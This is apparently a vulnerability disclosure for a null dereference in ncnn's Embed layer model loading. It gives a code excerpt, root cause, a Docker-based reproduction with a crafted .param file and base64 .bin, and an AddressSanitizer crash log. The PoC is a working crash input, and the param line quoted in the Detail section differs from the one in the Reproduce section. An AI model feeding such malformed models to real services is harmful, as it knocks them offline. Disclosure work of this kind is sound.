Null Dereference in Embed Model Loading

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/embed.cpp:43 in Embed::load_model
Sanitizer verdict: SEGV on unknown address 0x000000000000 (pc 0x5bd84b90798a bp 0x7ffca4585030 sp 0x7ffca4584d90 T0)

Summary

A truncated attacker-supplied .bin file crashes ncnn during model loading. When an Embed layer sets int8_scale_term (parameter key 18), Embed::load_model reads its int8 weight scale with mb.load(1, 1)[0] and never checks the returned Mat. A short read at end-of-file makes ModelBin return an empty Mat, and indexing element zero of it reads address 0x0, terminating the process. The confirmed entry point is ncnnoptimize poc.param poc.bin out.param out.bin 0; ncnn::Net::load_model on any untrusted model pair reaches the same line.

Detail

The untrusted inputs are the Embed layer's parameter key 18 (int8_scale_term) and the length of the weight file. Embed::load_param copies key 18 straight into int8_scale_term with no validation, and Embed::load_model guards its first two reads correctly — weight_data and bias_data are both tested with .empty() — but the int8 branch chains the subscript directly onto the load expression, so there is no result to test:

// src/layer/embed.cpp:29
    weight_data = mb.load(weight_data_size, 0);
    if (weight_data.empty())
        return -100;

    if (bias_term)
    {
        bias_data = mb.load(num_output, 1);
        if (bias_data.empty())
            return -100;
    }

#if NCNN_INT8
    if (int8_scale_term)
    {
        weight_data_int8_scale = mb.load(1, 1)[0];
    }
#endif // NCNN_INT8

ModelBinFromDataReader::load reports a short read and returns a default-constructed Mat (src/modelbin.cpp:317-318, the "ModelBin read weight_data failed 0" line visible in the sanitizer log). That Mat has data == 0, and Mat::operator[] is an unchecked ((float*)data)[i].

The PoC .param declares Embed embed 1 1 data out 0=1 1=1 2=0 3=1 18=1, so weight_data_size is 1, bias_term is 0 and int8_scale_term is 1. The generated poc.bin is exactly eight bytes: the tag 0x0002C056 followed by one float, which satisfies the mb.load(weight_data_size, 0) call and leaves the reader at end-of-file. The following mb.load(1, 1) therefore returns empty, and [0] dereferences null before Net::load_model ever gets a chance to inspect a return code.

Reproduce

mkdir -p ncnn-poc-null-dereference-in-embed-model-loading && cd ncnn-poc-null-dereference-in-embed-model-loading

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'POC_EOF'
7767517
1 1
Embed embed 0 1 out 3=1 18=1
POC_EOF

base64 -d > poc.bin <<'POC_EOF'
VsACAAAAgD8=
POC_EOF

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param poc.bin out.param out.bin 0

AddressSanitizer output:

ModelBin read weight_data failed 0
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x559bbc10998a bp 0x7ffeeafc4db0 sp 0x7ffeeafc4b10 T0)
==1==The signal is caused by a READ memory access.
==1==Hint: address points to the zero page.
    #0 0x559bbc10998a in ncnn::Embed::load_model(ncnn::ModelBin const&) /ncnn/src/layer/embed.cpp:43
    #1 0x559bb960fa84 in ncnn::Net::load_model(ncnn::DataReader const&) /ncnn/src/net.cpp:2080
    #2 0x559bb961090a in ncnn::Net::load_model(_IO_FILE*) /ncnn/src/net.cpp:2257
    #3 0x559bb9610c91 in ncnn::Net::load_model(char const*) /ncnn/src/net.cpp:2292
    #4 0x559bb9523caf in main /ncnn/tools/ncnnoptimize.cpp:2797
    #5 0x790d86b391c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #6 0x790d86b3928a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #7 0x559bb94a3624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /ncnn/src/layer/embed.cpp:43 in ncnn::Embed::load_model(ncnn::ModelBin const&)
==1==ABORTING

Credit

Zheng Yu @ DepthFirst